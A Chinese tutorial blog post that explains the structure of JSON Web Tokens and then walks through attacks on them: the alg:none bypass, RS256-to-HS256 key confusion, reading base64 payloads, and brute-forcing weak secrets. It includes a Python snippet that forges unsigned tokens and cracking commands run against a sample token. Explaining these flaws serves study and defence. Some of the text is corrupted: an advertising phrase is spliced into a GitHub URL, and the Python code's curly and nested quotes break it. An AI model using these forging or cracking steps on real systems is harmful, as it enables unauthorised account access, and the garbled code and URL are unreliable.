JWT安全怎么配置


本文小编为大家详细介绍“JWT安全怎么配置”,内容详细,步骤清晰,细节处理妥当,希望这篇“JWT安全怎么配置”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。传统的session认证,随着不同客户端用户的增加,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来.例如而随着认证用户的增多,服务端的开销会明显增大,这样在分布式的应用上,相应的限制了负载均衡器的能力,因为是基于cookie来进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。2定义JWT(JSON Web Token) 是一个非常轻巧的规范,通过这个规范,可以传递可靠的安全信息,JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。3组成一个字符串由头部,载荷,签名三部分组成。头部(Header)用于描述JWT的最基本的信息,其所用的签名与算法类似这样{ “typ”: “JWT”, “alg”: “HS256”}通过base64 编码之后,形成头部
载荷(Payload)也是json形式的,官方定义的有如下六个部分{ “sub”: “1”, //该JWT所面向的用户 “iss”: “http://localhost:8000/auth/login”, //该JWT的签发者 “iat”: , //iat(issued at): 在什么时候签发的token “exp”: , //exp(expires): token什么时候过期 “nbf”: , //nbf(not before):token在此时间之前不能被接收处理 “jti”: “” //JWT ID为web token提供唯一标识}当然,开发者可以定义自己使用的数据。以上json数据base64编码之后,形成载荷。
签名将上面的两个编码后的字符串都用句号.连接在一起 提供一个密钥(secret)用头部所规定的算法加密就可以形成一个新的字符串同样,需要base64编码
以上将三个部分用 .拼接在一起,就形成了一个完整的JWT令牌可上面介绍了那么多,大家依然不知道JWT到底是干嘛的,稍微介绍一下JWT的验证方式方式,大家应该就应该会对JWT的运用有所了解了服务器应用在接受到JWT后,会首先对头部和载荷的内容用同一算法再次签名。如果服务器应用对头部和载荷再次以同样方法签名之后发现,自己计算出来的签名和接受到的签名不一样,那么就说明这个Token的内容被别人动过的,我们应该拒绝这个Token上面说了JWT的组成,我们的目的是研究其安全性既然这是一个验证的机制,那么安全问题主要就是非授权访问,也就是说要绕过这种验证机制,已知其结构,数据一般也是存在本地端,我们唯一不知道的就是加密算法的密钥,这样说来,有如下几种安全问题。1修改算法为none修改算法有两种修改的方式其中一种就是将算法就该为none后端若是支持none算法header中的alg字段可被修改为none去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去2修改算法RS256为HS256RS256是非对称加密算法,HS是对称加密算法如果jwt内部的函数支持的RS256算法,又同时支持HS256算法如果已知公钥的话,将算法改成HS256,然后后端就会用这个公钥当作密钥来加密3信息泄露JWT是以base64编码传输的,虽然密钥不可见,但是其数据记本上是明文传输的,如果传输了重要的内容,可以base64解码然后获取其重要的信息。4爆破密钥原理就是,如果密钥比较短的话,已知加密算法,通过暴力破解的方式,可以得到其密钥。搭建方式我搭建的环境为php7安装了composer直接用如下的命令进行搭建漏洞环境git clone https://github.com/Sjo免费云主机域名rd/jwtdemo/cd jwtdemocomposer installphp -S 0.0.0.0:8000 -t public然后直接访问环境就搭建成功了。payload如下def b64urlencode(data):return base64.b64encode(data).replace(‘+’, ‘-‘).replace(‘/’, ‘_’).replace(‘=’, ”)print b64urlencode(“{“typ”:”JWT”,”alg”:”none”}”) + ‘.’ + b64urlencode(“{“data”:”test”}”) + ‘.’通过如上代码,可以构造任意的密钥为none的paylaod,从而绕过后端的检查,修改与RS256的方法与此类似,不再赘述。1JohnTheRipper在爆破JWT的时候,可以用如下如下工具https://github.com/magnumripper/JohnTheRipper使用的方法如下git clone https://github.com/magnumripper/JohnTheRippercd JohnTheRipper/src./configuremake -s clean && make -sj4cd ../run./john jwt.txt2c-jwt-crackerC语言的破解工具https://github.com/brendan-rius/c-jwt-cracker使用方法如下makemake OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE读到这里,这篇“JWT安全怎么配置”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,如果想了解更多相关内容的文章,欢迎关注云编程开发博客行业资讯频道。

相关推荐: php序列化与反序列化的概念

本篇内容介绍了“php序列化与反序列化的概念”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!(反)序列化给我们传递对象提供了一种简单的方法。serialize()…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 02/06 17:09
下一篇 02/06 17:09